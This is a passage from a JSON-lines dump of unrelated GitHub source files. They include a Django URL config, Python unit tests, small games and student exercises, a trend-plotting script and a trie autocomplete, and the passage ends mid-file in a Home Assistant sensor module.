range(N):\n wood.append(int(sys.stdin.readline()))\n\nmax_wood = max(wood)\nmax_res = -1\nfor L in range(1, max_wood + 1):\n cut_wood = list()\n cut_price = list()\n for K in range(N):\n if wood[K] >= i:\n cut_wood.append(wood[K] // L)\n if wood[K] % L == 0:\n cut_price.append((cut_wood[K] - 1) * C)\n \n elif wood[K] % L != 0:\n cut_price.append((cut_wood[K]) * C)\n \n if L * W * sum(cut_wood) < sum(cut_price):\n res = wood.count(min(wood)) * W * min(wood)\n else:\n res = (L * W * sum(cut_wood)) - sum(cut_price)\n\n if max_res < res:\n max_res = res\n\nprint(max_res)\n# 2 * 10 * (13 + 51 + 29) - (12 + 50 + 28)\n# 길이 2 / 자른 갯수는 나무 수에서 -1","repo_name":"becca4011/Baekjoon","sub_path":"1421_나무꾼 이다솜.py","file_name":"1421_나무꾼 이다솜.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42257784965","text":"from django.urls import path\nfrom django.contrib.auth.views import LogoutView\n\nfrom users.views import login_request, register, EditarPerfil, Perfil, EditarPerfilImage\n\nurlpatterns = [\n path('login/', login_request, name='login_request'),\n path('logout/', LogoutView.as_view(template_name = 'users/logout.html'), name='logout'),\n path('register/', register, name='register'),\n path('profile/', Perfil, name='profile'),\n path('profile/editar', EditarPerfil, name='Editarprofile'),\n path('profile/editarimage', EditarPerfilImage, name='Editarprofile')\n]\n","repo_name":"emiventuri/Repositorio","sub_path":"proyectoFinal/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70098181032","text":"__author__ = 'godq'\nimport subprocess\nfrom subprocess import PIPE, STDOUT\n\n\ndef run_cmd(command, daemon=False):\n process = subprocess.Popen(command, stdin=PIPE, stdout=PIPE,\n stderr=STDOUT, shell=True, bufsize=0,\n universal_newlines=True)\n lines = list()\n while True:\n output = process.stdout.readline()\n if not output and process.poll() is not None:\n break\n output = output.strip()\n if output:\n if daemon is True:\n print(output)\n else:\n lines.append(output)\n\n return_code = process.poll()\n return return_code, \"\\n\".join(lines)\n\n","repo_name":"GodQ/dagflow","sub_path":"dagflow/utils/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"3077601322","text":"import pytest\n\nfrom yelp_bytes import from_bytes\nfrom yelp_bytes import from_utf8\nfrom yelp_bytes import to_bytes\nfrom yelp_bytes import to_native\nfrom yelp_bytes import to_utf8\n\n\n# Define some interesting unicode inputs\nclass UNICODE:\n ascii = \"A\" # The most basic of unicode.\n latin1 = ascii + \"ü\" # U-umlaut. This is defined in latin1 but not ascii.\n win1252 = (\n latin1 + \"€\"\n ) # Euro sign. This is defined in windows-1252, but not latin1.\n bmp = win1252 + \"Ł\" # Polish crossed-L. This requires at least a two-byte encoding.\n utf8 = bmp + \"🐵\" # Monkey-face emoji. This requires at least a three-byte encoding.\n\n\ndef dunder_compat(cls):\n if hasattr(cls, \"__unicode__\"):\n cls.__str__ = cls.__unicode__\n del cls.__unicode__\n return cls\n\n\n@dunder_compat\nclass Unicodable:\n \"\"\"unicode() is fine, but bytes() will barf\"\"\"\n\n def __unicode__(self):\n return UNICODE.utf8\n\n\nunicodable = Unicodable()\n\n\n@dunder_compat\nclass Utf8able:\n \"\"\"bytes() and decode('UTF-8') is fine, but unicode() will barf\"\"\"\n\n def __bytes__(self):\n return UNICODE.utf8.encode(\"utf8\")\n\n\nutf8able = Utf8able()\n\n\n@dunder_compat\nclass Win1252able:\n \"\"\"bytes() is fine, but unicode() and decode('UTF-8') will barf\"\"\"\n\n def __bytes__(self):\n return UNICODE.utf8.encode(\"windows-1252\", \"ignore\")\n\n\nwin1252able = Win1252able()\n\n\nclass BytesLike:\n \"\"\"looks a bit like python3 bytes, emulating a list of ints\"\"\"\n\n def __iter__(self):\n return iter(range(10))\n\n\nbyteslike = BytesLike()\nbytesvalue = b\"\".join(bytes([b]) for b in byteslike)\n\n\nboth_from_funcs = pytest.mark.parametrize(\"testfunc\", (from_bytes, from_utf8))\nboth_to_funcs = pytest.mark.parametrize(\"testfunc\", (to_bytes, to_utf8))\n\n\n@both_from_funcs\ndef test_with_unicode(testfunc):\n # Unicode objects aren't touched.\n assert UNICODE.utf8 is testfunc(UNICODE.utf8)\n\n\n@both_from_funcs\ndef test_with_unicode_subclass(testfunc):\n # Unicode subclasses (eg markupsafe) also go unmolested.\n class MyText(str):\n pass\n\n mytext = MyText(\"abcdef\")\n assert mytext is testfunc(mytext)\n\n\n@both_to_funcs\ndef test_with_bytes_subclass(testfunc):\n # it would make sense for the same (above) to hold of a bytes subclass\n class MyBytes(bytes):\n pass\n\n mybytes = MyBytes(b\"abcdef\")\n assert mybytes is testfunc(mybytes)\n\n\n@both_from_funcs\ndef test_with_utf8(testfunc):\n utf8 = UNICODE.utf8.encode(\"utf8\")\n assert UNICODE.utf8 == testfunc(utf8)\n\n\ndef test_with_win1252():\n win1252 = UNICODE.utf8.encode(\"windows-1252\", \"ignore\")\n assert UNICODE.win1252.encode(\"windows-1252\") == win1252\n assert UNICODE.win1252 == from_bytes(win1252)\n\n\n@both_from_funcs\ndef test_from_funcs_with_unicodable_object(testfunc):\n assert UNICODE.utf8 == testfunc(unicodable)\n\n\n@both_from_funcs\ndef test_from_funcs_with_utf8able_object(testfunc):\n expected = repr(utf8able)\n assert expected == testfunc(utf8able)\n\n\ndef test_from_bytes_with_win1252able_object():\n expected = repr(win1252able)\n assert expected == from_bytes(win1252able)\n\n\ndef test_from_utf8_with_win1252():\n win1252 = UNICODE.utf8.encode(\"windows-1252\", \"ignore\")\n with pytest.raises(UnicodeDecodeError):\n from_utf8(win1252)\n\n\ndef test_from_utf8_with_win1252able_object():\n assert repr(win1252able) == from_utf8(win1252able)\n\n\n@both_from_funcs\ndef test_from_funcs_with_byteslike_object(testfunc):\n expected = repr(byteslike)\n assert expected == testfunc(byteslike)\n\n\n@both_to_funcs\ndef test_to_bytes_from_unicode(testfunc):\n assert UNICODE.utf8.encode(\"utf8\") == testfunc(UNICODE.utf8)\n\n\n@both_to_funcs\ndef test_to_bytes_from_utf8(testfunc):\n utf8 = UNICODE.utf8.encode(\"utf8\")\n assert utf8 == testfunc(utf8)\n\n\n@both_to_funcs\ndef test_to_bytes_from_bad_utf8(testfunc):\n # The to_bytes function doesn't attempt to auto-magically fix non-utf8 encodings.\n win1252 = UNICODE.utf8.encode(\"windows-1252\", \"ignore\")\n assert UNICODE.win1252.encode(\"windows-1252\") == win1252\n assert win1252 == testfunc(win1252)\n\n\n@both_to_funcs\ndef test_to_funcs_with_unicodable_object(testfunc):\n assert UNICODE.utf8.encode(\"UTF-8\") == testfunc(unicodable)\n\n\n@both_to_funcs\ndef test_to_funcs_with_utf8able_object(testfunc):\n expected = repr(utf8able)\n expected = expected.encode(\"UTF-8\")\n assert expected == testfunc(utf8able)\n\n\n@both_to_funcs\ndef test_to_funcs_with_win1252able_object(testfunc):\n expected = repr(win1252able)\n expected = expected.encode(\"windows-1252\")\n assert expected == testfunc(win1252able)\n\n\n@both_to_funcs\ndef test_to_funcs_with_byteslike_object(testfunc):\n expected = repr(byteslike).encode(\"US-ASCII\")\n assert expected == testfunc(byteslike)\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.utf8,\n unicodable,\n utf8able,\n win1252able,\n byteslike,\n ),\n)\ndef test_internet_roundtrip(value):\n assert from_bytes(value) == to_bytes(value).decode(\"internet\")\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.utf8,\n unicodable,\n utf8able,\n ),\n)\ndef test_utf8_roundtrip(value):\n assert from_bytes(value, \"utf8\") == to_bytes(value, \"utf8\").decode(\"utf8\")\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.win1252,\n win1252able,\n ),\n)\ndef test_windows_roundtrip(value):\n assert from_bytes(value, \"windows-1252\") == to_bytes(value, \"windows-1252\").decode(\n \"windows-1252\"\n )\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.utf8,\n utf8able,\n win1252able,\n byteslike,\n ),\n)\ndef test_to_bytes_is_like_str_encode(value):\n # pylint:disable=bare-except,broad-except\n try:\n bytes_result = str(value).encode(\"US-ASCII\")\n except Exception:\n bytes_result = \"(error)\"\n\n try:\n to_bytes_result = to_bytes(value, \"US-ASCII\")\n except Exception:\n to_bytes_result = \"(error)\"\n\n assert bytes_result == to_bytes_result\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.latin1,\n UNICODE.win1252,\n UNICODE.bmp,\n UNICODE.utf8,\n ),\n)\ndef test_to_native_with_unicode_objects(value): # pragma: no cover\n assert to_native(value) == value\n\n\n@pytest.mark.parametrize(\n \"value\",\n (\n UNICODE.latin1.encode(\"latin1\"),\n UNICODE.win1252.encode(\"cp1252\"),\n UNICODE.bmp.encode(\"UTF-8\"),\n UNICODE.utf8.encode(\"UTF-8\"),\n ),\n)\ndef test_to_native_with_byte_string(value): # pragma: no cover\n assert to_native(value) == from_bytes(value)\n\n\ndef test_to_native_unicodable():\n expected = UNICODE.utf8\n assert to_native(unicodable) == expected\n\n\ndef test_to_native_utf8able():\n expected = repr(utf8able)\n assert to_native(utf8able) == expected\n\n\ndef test_to_native_win1252able():\n expected = repr(win1252able)\n assert to_native(win1252able) == expected\n","repo_name":"Yelp/yelp_bytes","sub_path":"tests/yelp_bytes_test.py","file_name":"yelp_bytes_test.py","file_ext":"py","file_size_in_byte":6898,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"9233461965","text":"number_members = int(input())\r\nsum_marks_total = 0\r\ntotal_marks_counter = 0\r\nwhile True:\r\n input_command = input()\r\n if input_command == \"Finish\":\r\n break\r\n\r\n presentation_title = str(input_command)\r\n sum_marks_presentation = 0\r\n total_marks_counter += number_members\r\n\r\n for i in range(0,number_members):\r\n current_mark = float(input())\r\n sum_marks_presentation += current_mark\r\n sum_marks_total += current_mark\r\n\r\n average_mark_presentation = sum_marks_presentation / number_members\r\n print(f\"{presentation_title} - {average_mark_presentation:.2f}.\")\r\n\r\naverage_mark_total = sum_marks_total / total_marks_counter\r\nprint(f\"Student's final assessment is {average_mark_total:.2f}.\")\r\n","repo_name":"Pandam0n1um/SoftUni-Software-Engineering","sub_path":"Programming Basics with Python - May 2021/06-Nested Loops/Exercise/exer_04_train_the_trainers.py","file_name":"exer_04_train_the_trainers.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39191513145","text":"import os\nimport time\n\nfrom gamegrid import Ship, GameGrid\nfrom ai import OpponentAi\n\nSHIP_MARKER = '▣'\nHIT = 'X'\nMISS = '⚑'\nEMPTY = '◠'\n\n\ndef render_grid(grid, enemy=False):\n \"\"\"\n Draw grid on command line terminal.\n \"\"\"\n #make column headers = abc's\n line = ' '\n for a in grid.ABC:\n line += a\n line += ' '\n print(line)\n # add row header and row\n for i in range(1, grid.LIMIT + 1):\n # if row header # is one digit\n # add a space before printing to align with\n # two digit header\n line = ' ' if len(str(i)) == 1 else ''\n # add header (ie '5')\n line += str(i)\n line += ' '\n # add row cells\n for a in grid.ABC:\n node = grid.grid[a][i]\n if node.ship:\n if node.hit:\n line += HIT\n elif not enemy:\n line += SHIP_MARKER\n else:\n line += EMPTY\n else:\n if node.hit:\n line += MISS\n else:\n line += EMPTY\n line += ' '\n # print row and cell\n print(line)\n\n\ndef fire_shot(coords, board):\n \"\"\"\n Check's that coordinates are correct format, and\n prints results of shot.\n Returns True if coordinates are valid, otherwise False.\n \"\"\"\n try:\n # unpack coord string\n x, y = coords[0], coords[1:]\n x = x.upper()\n y = int(y)\n\n except:\n print(\"Invalid coordinates. Please type letter first, then number.\")\n print(\"(ex: 'b4')\")\n return False\n\n if x not in board.ABC or y > board.LIMIT:\n print(\"Coordinates out of range. Try again.\")\n return False\n\n result = board.fire(x, y)\n\n if result == 2:\n ship = board.grid[x][y].ship\n print(\"Hit on opponent's %s\" % ship.name)\n if ship.health == 0:\n print(\"You've sunk the enemy %s!\" % ship.name)\n return False\n\n elif result == 1:\n print(\"Miss!\")\n return True\n\n elif result == 0:\n print(\"You've already fired at those coordinates, try again.\")\n return False\n\n\nfleet = [\n Ship(\"Aircraft Carrier\", 5),\n Ship(\"Battleship\", 4),\n Ship(\"Cruiser\", 3),\n Ship(\"Destroyer\", 2),\n Ship(\"Destroyer\", 2),\n Ship(\"Submarine\", 1),\n Ship(\"Submarine\", 1),\n]\n\nclear = lambda: os.system('clear')\n\ndef main():\n player_board = GameGrid(fleet)\n opponent_board = GameGrid(fleet)\n player_board.place_fleet()\n opponent_board.place_fleet()\n\n opponent_ai = OpponentAi()\n\n clear()\n print(\"Welcome to Battleship: command line edition!\")\n print(\"Press enter to start the game\")\n input(\">\")\n\n player_turn = True\n game_won = False\n times_through_loop = 0\n\n while not game_won:\n clear()\n print(\"Times through loop: %s\" % times_through_loop)\n times_through_loop += 1\n print(\"Oppenent's board:\")\n render_grid(opponent_board, enemy=True)\n print()\n print(\"Your board:\")\n render_grid(player_board)\n print()\n\n if player_turn:\n print(\"Your turn:\")\n print(\"Enter coordinates to launch attack on opponent!\")\n \n hit = False\n while not hit:\n coords = input()\n hit = fire_shot(coords, opponent_board)\n\n print(\"Opponent fleet health: %s\" % opponent_board.fleet_health)\n\n if opponent_board.fleet_health == 0:\n print(\"Congratulations, you've destroyed the enemy fleet!\")\n print(\"You win!\")\n break\n\n player_turn = False\n\n else:\n print(\"Opponent's turn.\")\n time.sleep(5)\n\n hit = False\n while not hit:\n coords = opponent_ai.choose_coords(player_board)\n hit = fire_shot(coords, player_board)\n\n if player_board.fleet_health == 0:\n print(\"You lose, better luck next time!\")\n\n player_turn = True\n\n input()\n\n\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"AzizHarrington/command-line-games","sub_path":"battleship/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38959656666","text":"# -*- coding: utf-8 -*-\nfrom unittest.mock import MagicMock\n\nfrom asyncy.utils.HttpUtils import HttpUtils\n\nimport pytest\nfrom pytest import mark\n\nfrom tornado.httpclient import HTTPError\n\n\n@mark.asyncio\nasync def test_fetch_with_retry(patch, logger, async_mock):\n client = MagicMock()\n\n patch.object(client, 'fetch', new=async_mock())\n kwargs = {\n 'foo': 'bar'\n }\n ret = await HttpUtils.fetch_with_retry(3, logger, 'asyncy.com', client,\n kwargs)\n\n assert ret == client.fetch.mock.return_value\n client.fetch.mock.assert_called_with('asyncy.com', foo='bar',\n raise_error=False)\n\n\n@mark.asyncio\nasync def test_fetch_with_retry_fail(patch, logger):\n client = MagicMock()\n fetch = MagicMock()\n\n async def exc(*args, **kwargs):\n fetch(*args, **kwargs)\n res = MagicMock()\n res.code = 599\n return res\n\n patch.object(client, 'fetch', side_effect=exc)\n\n with pytest.raises(HTTPError):\n await HttpUtils.fetch_with_retry(10, logger, 'asyncy.com', client, {})\n\n assert len(fetch.mock_calls) == 10\n\n\ndef test_add_params_to_url():\n assert HttpUtils.add_params_to_url('asyncy.com', {}) == 'asyncy.com'\n assert HttpUtils.add_params_to_url('asyncy.com',\n {'1': '2'}) == 'asyncy.com?1=2'\n assert HttpUtils.add_params_to_url('asyncy.com', {\n 'a': 1, 'b': 'c'\n }) == 'asyncy.com?a=1&b=c'\n","repo_name":"zeebonk/platform-engine","sub_path":"tests/unit/utils/HttpUtils.py","file_name":"HttpUtils.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"7561322905","text":"from pytrends.request import TrendReq\nimport matplotlib.pyplot as plt\n\npytrends = TrendReq(hl='en-US',timeout=(100,250))\n\npytrends.build_payload(kw_list=[''],\n cat=0,\n timeframe='today 3-m',\n geo='',\n gprop='')\n\ndef trending_searches(country):\n data = pytrends.trending_searches(pn=country)\n kw = list(data.iloc[:4,0])\n print(kw)\n pytrends.build_payload(kw_list = kw,\n cat=0,\n timeframe='today 3-m',\n geo='',\n gprop='')\n data2 = pytrends.interest_over_time()\n df = data2.iloc[:,:4]\n print(df)\n plt.style.use('seaborn-dark')\n fig, axs = plt.subplots(2, 2, figsize = (35, 30))\n axs[0,0].plot(df[kw[0]], c='red')\n axs[0,0].set_title(kw[0])\n axs[0,1].plot(df[kw[1]], c='red')\n axs[0,1].set_title(kw[1])\n axs[1,0].plot(df[kw[2]],c='red')\n axs[1,0].set_title(kw[2])\n axs[1,1].plot(df[kw[3]],c='red')\n axs[1,1].set_title(kw[3])\n #plt.savefig('test.png',bbox_inches=\"tight\")\n\n extent1 = axs[0,0].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n extent2 = axs[0,1].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n extent3 = axs[1,0].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n extent4 = axs[1,1].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n\n fig.savefig('static/subplotreg1.png',bbox_inches = extent1.expanded(1.1, 1.2))\n fig.savefig('static/subplotreg2.png',bbox_inches = extent2.expanded(1.1, 1.2))\n fig.savefig('static/subplotreg3.png',bbox_inches = extent3.expanded(1.1, 1.2))\n fig.savefig('static/subplotreg4.png',bbox_inches = extent4.expanded(1.1, 1.2))\n return kw[:4]","repo_name":"a1pha-w0lf/searchtrendsentimentanalysis","sub_path":"region_trend.py","file_name":"region_trend.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13823981755","text":"from ipywidgets import widgets\r\nfrom IPython.display import display\r\nfrom ipywidgets import interact\r\n\r\nclass TrieNode:\r\n def __init__(self, letter):\r\n self.letter = letter\r\n self.children = {}\r\n self.is_end_of_word = False\r\n\r\n def insert(self, char):\r\n self.children[char] = TrieNode(char)\r\n\r\n def suffixes(self, suffix=''):\r\n if self.children:\r\n for char, node in self.children.items():\r\n if node.is_end_of_word:\r\n a.append(suffix + char)\r\n node.suffixes(suffix + char)\r\n return a\r\n\r\n\r\nclass Trie:\r\n def __init__(self):\r\n self.root = TrieNode(\"*\")\r\n\r\n def insert(self, word):\r\n curr_node = self.root\r\n for letter in word:\r\n if letter not in curr_node.children:\r\n curr_node.insert(letter)\r\n curr_node = curr_node.children[letter]\r\n curr_node.is_end_of_word = True\r\n\r\n def find(self, prefix):\r\n cur = self.root\r\n try:\r\n for letter in prefix:\r\n cur = cur.children[letter]\r\n return cur\r\n except:\r\n print(\"prefix does not exist\")\r\n\r\nMyTrie = Trie()\r\na = []\r\nwordList = [\r\n \"ant\", \"anthology\", \"antagonist\", \"antonym\",\r\n \"fun\", \"function\", \"factory\",\r\n \"trie\", \"trigger\", \"trigonometry\", \"tripod\"\r\n]\r\nfor word in wordList:\r\n MyTrie.insert(word)\r\ncurr = MyTrie.root\r\n\r\ndef f(prefix):\r\n if prefix != '':\r\n prefixNode = MyTrie.find(prefix)\r\n if prefixNode:\r\n print('\\n'.join(prefixNode.suffixes()))\r\n else:\r\n print(prefix + \" not found\")\r\n else:\r\n print('')\r\ninteract(f, prefix='an')\r\n\"\"\"\r\nit should return t\r\nthology\r\ntagonist\r\ntonym\r\n\"\"\"\r\n\r\n\r\nMyTrie = Trie()\r\na = []\r\nwordlist2=[\"hey\",\"hell\",\"hello\",\"water\",\"waterfall\",\"watercheastnut\"]\r\nfor word in wordlist2:\r\n MyTrie.insert(word)\r\ncurr = MyTrie.root\r\n\r\ndef f(prefix):\r\n if prefix != '':\r\n prefixNode = MyTrie.find(prefix)\r\n if prefixNode:\r\n print('\\n'.join(prefixNode.suffixes()))\r\n else:\r\n print(prefix + \" not found\")\r\n else:\r\n print('')\r\ninteract(f, prefix='water')\r\n\"\"\"\r\nit should return\r\nfall\r\ncheastnut\r\n\"\"\"\r\n\r\n\r\nMyTrie = Trie()\r\na = []\r\nwordlist3=[]\r\nfor word in wordlist3:\r\n MyTrie.insert(word)\r\ncurr = MyTrie.root\r\n\r\ndef f(prefix):\r\n if prefix != '':\r\n prefixNode = MyTrie.find(prefix)\r\n if prefixNode:\r\n print('\\n'.join(prefixNode.suffixes()))\r\n else:\r\n print(prefix + \" not found\")\r\n else:\r\n print('')\r\ninteract(f, prefix='t')\r\n\"\"\"\r\nit should return \r\nprefix does not exist\r\nt not found\r\n\"\"\"","repo_name":"atulyaatul1999/Project-Problems-vs-Algorithms","sub_path":"Problem_5.py","file_name":"Problem_5.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12854836627","text":"# --Abstrakt konst - Inlämningsuppgift--\r\n# Adam O, NA20, VT21\r\n\r\nimport random as r\r\nimport turtle as t\r\n\r\nt.speed(0)\r\nt.colormode(255)\r\nt.tracer(0)\r\nt.pu()\r\nt.ht()\r\n\r\ndef farg():\r\n \"\"\"Slumpar färg och tjocklek\"\"\"\r\n \r\n #Pennans färg:\r\n pr = r.randrange(256)\r\n pg = r.randrange(256)\r\n pb = r.randrange(256)\r\n t.pencolor(pr,pg,pb)\r\n \r\n #Fyllningsfärg\r\n fr = r.randrange(256)\r\n fg = r.randrange(256)\r\n fb = r.randrange(256)\r\n t.fillcolor(fr,fg,fb)\r\n \r\n tjocklek = r.randrange(6)\r\n t.pensize(tjocklek)\r\n \r\ndef fyrH(fylld, X, Y, maxX, maxY):\r\n \"\"\"Ritar en fyrhörning\"\"\"\r\n \r\n maxSt = 200 #Max storlek\r\n \r\n #Slumpar fyra punkter som ska bli hörnen. T.ex. Punkt nr 0 är (px[0], py[0]).\r\n #Varje punkt kan bara vara inom ett område. Till exempel punkt 0 kan bara vara ovanför och till höger om klicket.\r\n #Jag gör så här för att figurerna ska få slumpade kanter och vinklar.\r\n px = [0, 0, 0, 0]\r\n px[0] = r.randrange(X, X+maxSt+1)\r\n px[1] = r.randrange(X, X+maxSt+1)\r\n px[2] = r.randrange(X-maxSt, X)\r\n px[3] = r.randrange(X-maxSt, X)\r\n py = [0, 0, 0, 0]\r\n py[0] = r.randrange(Y, Y+maxSt+1)\r\n py[1] = r.randrange(Y-maxSt, Y)\r\n py[2] = r.randrange(Y-maxSt, Y)\r\n py[3] = r.randrange(Y, Y+maxSt+1)\r\n \r\n #Kollar om punkterna behöver flyttas i x och/eller i y för att\r\n #inte ritas utanför kanten.\r\n #flyttaX är hur många steg figuren ska flyttas i x.\r\n flyttaX = 0\r\n for i in px:\r\n if i > maxX and maxX - i < flyttaX:\r\n flyttaX = maxX - i\r\n elif i < -maxX and -maxX - i > flyttaX:\r\n flyttaX = -maxX - i\r\n flyttaY = 0\r\n for i in py:\r\n if i > maxY and maxY - i < flyttaY:\r\n flyttaY = maxY - i\r\n elif i < -maxY and -maxY - i > flyttaY:\r\n flyttaY = -maxY - i \r\n \r\n if fylld:\r\n t.begin_fill()\r\n \r\n #Rita:\r\n t.goto(px[0] + flyttaX, py[0] + flyttaY)\r\n t.pd()\r\n for i in range(3, -1, -1):\r\n t.goto(px[i] + flyttaX, py[i] + flyttaY)\r\n t.end_fill()\r\n t.pu()\r\n\r\ndef triangel(fylld, X, Y, maxX, maxY):\r\n \"\"\"Ritar en triangel\"\"\"\r\n \r\n maxSt = 200 #Max storlek\r\n \r\n #Slumpar punkter för varje hörn på samma sätt som i fyrH-funktionen.\r\n px = [0, 0, 0]\r\n px[0] = r.randrange(X-maxSt/2, X+maxSt/2+1)\r\n px[1] = r.randrange(X, X+maxSt+1)\r\n px[2] = r.randrange(X-maxSt, X)\r\n py = [0, 0, 0]\r\n py[0] = r.randrange(Y, Y+maxSt+1)\r\n py[1] = r.randrange(Y-maxSt, Y)\r\n py[2] = r.randrange(Y-maxSt, Y)\r\n \r\n #Kollar om punkterna behöver flyttas i x (flyttaX) och/eller i y (flyttaY) för att\r\n #inte ritas utanför kanten.\r\n flyttaX = 0\r\n for i in px:\r\n if i > maxX and maxX - i < flyttaX:\r\n flyttaX = maxX - i\r\n elif i < -maxX and -maxX - i > flyttaX:\r\n flyttaX = -maxX - i\r\n flyttaY = 0\r\n for i in py:\r\n if i > maxY and maxY - i < flyttaY:\r\n flyttaY = maxY - i\r\n elif i < -maxY and -maxY - i > flyttaY:\r\n flyttaY = -maxY - i \r\n \r\n if fylld:\r\n t.begin_fill()\r\n \r\n #Rita\r\n t.goto(px[0] + flyttaX, py[0] + flyttaY)\r\n t.pd()\r\n for i in range(2, -1, -1):\r\n t.goto(px[i] + flyttaX, py[i] + flyttaY)\r\n t.end_fill()\r\n t.pu()\r\n \r\ndef cirkel(fylld, X, Y, maxX, maxY):\r\n \"\"\"Ritar en cirkel\"\"\"\r\n maxSt = 200 #>10\r\n \r\n radie = r.randrange(10, maxSt)\r\n \r\n #Kollar om punkterna behöver flyttas i x (flyttaX) och/eller i y (flyttaY) för att\r\n #inte ritas utanför kanten.\r\n flyttaX = 0\r\n if X + radie > maxX:\r\n flyttaX = maxX - (X + radie)\r\n elif X - radie < -maxX:\r\n flyttaX = -maxX - (X - radie)\r\n flyttaY = 0\r\n if Y + radie > maxY:\r\n flyttaY = maxY - (Y + radie)\r\n elif Y - radie < -maxY:\r\n flyttaY = -maxY - (Y - radie)\r\n \r\n #Går till rätt punkt och backar så att klicket blev i mitten av cirkeln:\r\n t.goto(X + flyttaX, Y + flyttaY)\r\n t.lt(90)\r\n t.bk(radie)\r\n t.rt(90)\r\n \r\n if fylld:\r\n t.begin_fill()\r\n \r\n #Rita\r\n t.pd()\r\n t.circle(radie)\r\n t.pu()\r\n \r\n t.end_fill()\r\n\r\ndef rita(x, y):\r\n \"\"\"Väljer vilken figur som ska ritas\"\"\"\r\n #Alla figurernas funktioner finns i listan \"figurer\".\r\n #Om man vill lägga till en ny figur behöver man bara lägga till den funktionen i listan här.\r\n #Just nu finns det ingen funktion för streck men det skulle vara ganska lätt att lägga till om man vill.\r\n figurer = [fyrH, triangel, cirkel]\r\n farg()\r\n #Slumpar om figuren ska vara fylld (True) eller inte (False). Sannolikheten är 50% för båda.\r\n fylld = r.random() < 0.5\r\n #Programmet fungerar med olika storlekar på fönstret.\r\n #Man kan ändra variabeln maxSt för att ändra storleken för varje figur om de är för små.\r\n #Kanterna på fönstret.\r\n maxX, maxY = t.window_width()/2 - 10, t.window_height()/2 - 10\r\n #Väljer och anropar en funktion ur listan.\r\n r.choice(figurer)(fylld, x, y, maxX, maxY)\r\n t.update()\r\n\r\n\r\nt.onscreenclick(rita)\r\nt.done()","repo_name":"dagadam1/abstract-art","sub_path":"AbstraktKonst.py","file_name":"AbstraktKonst.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41871936746","text":"\"\"\"Support for ProxyProximity device sensors.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\nfrom dataclasses import dataclass\n\nfrom ProxyProximity_ble import ProxyProximityAdvertisement\n\nfrom homeassistant.components.sensor import (\n SensorDeviceClass,\n SensorEntity,\n SensorEntityDescription,\n SensorStateClass,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import SIGNAL_STRENGTH_DECIBELS_MILLIWATT, UnitOfLength\nfrom homeassistant.core import HomeAssistant, callback\nfrom homeassistant.helpers.dispatcher import async_dispatcher_connect\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\n\nfrom .const import DOMAIN, SIGNAL_ProxyProximity_DEVICE_NEW\nfrom .coordinator import ProxyProximityCoordinator\nfrom .entity import ProxyProximityEntity\n\n\n@dataclass\nclass ProxyProximityRequiredKeysMixin:\n \"\"\"Mixin for required keys.\"\"\"\n\n value_fn: Callable[[ProxyProximityAdvertisement], str | int | None]\n\n\n@dataclass\nclass ProxyProximitySensorEntityDescription(SensorEntityDescription, ProxyProximityRequiredKeysMixin):\n \"\"\"Describes ProxyProximity sensor entity.\"\"\"\n\n\nSENSOR_DESCRIPTIONS = (\n ProxyProximitySensorEntityDescription(\n key=\"rssi\",\n device_class=SensorDeviceClass.SIGNAL_STRENGTH,\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS_MILLIWATT,\n entity_registry_enabled_default=False,\n value_fn=lambda ProxyProximity_advertisement: ProxyProximity_advertisement.rssi,\n state_class=SensorStateClass.MEASUREMENT,\n ),\n ProxyProximitySensorEntityDescription(\n key=\"power\",\n translation_key=\"power\",\n device_class=SensorDeviceClass.SIGNAL_STRENGTH,\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS_MILLIWATT,\n entity_registry_enabled_default=False,\n value_fn=lambda ProxyProximity_advertisement: ProxyProximity_advertisement.power,\n state_class=SensorStateClass.MEASUREMENT,\n ),\n ProxyProximitySensorEntityDescription(\n key=\"estimated_distance\",\n translation_key=\"estimated_distance\",\n icon=\"mdi:signal-distance-variant\",\n native_unit_of_measurement=UnitOfLength.METERS,\n value_fn=lambda ProxyProximity_advertisement: ProxyProximity_advertisement.distance,\n state_class=SensorStateClass.MEASUREMENT,\n device_class=SensorDeviceClass.DISTANCE,\n ),\n ProxyProximitySensorEntityDescription(\n key=\"vendor\",\n translation_key=\"vendor\",\n entity_registry_enabled_default=False,\n value_fn=lambda ProxyProximity_advertisement: 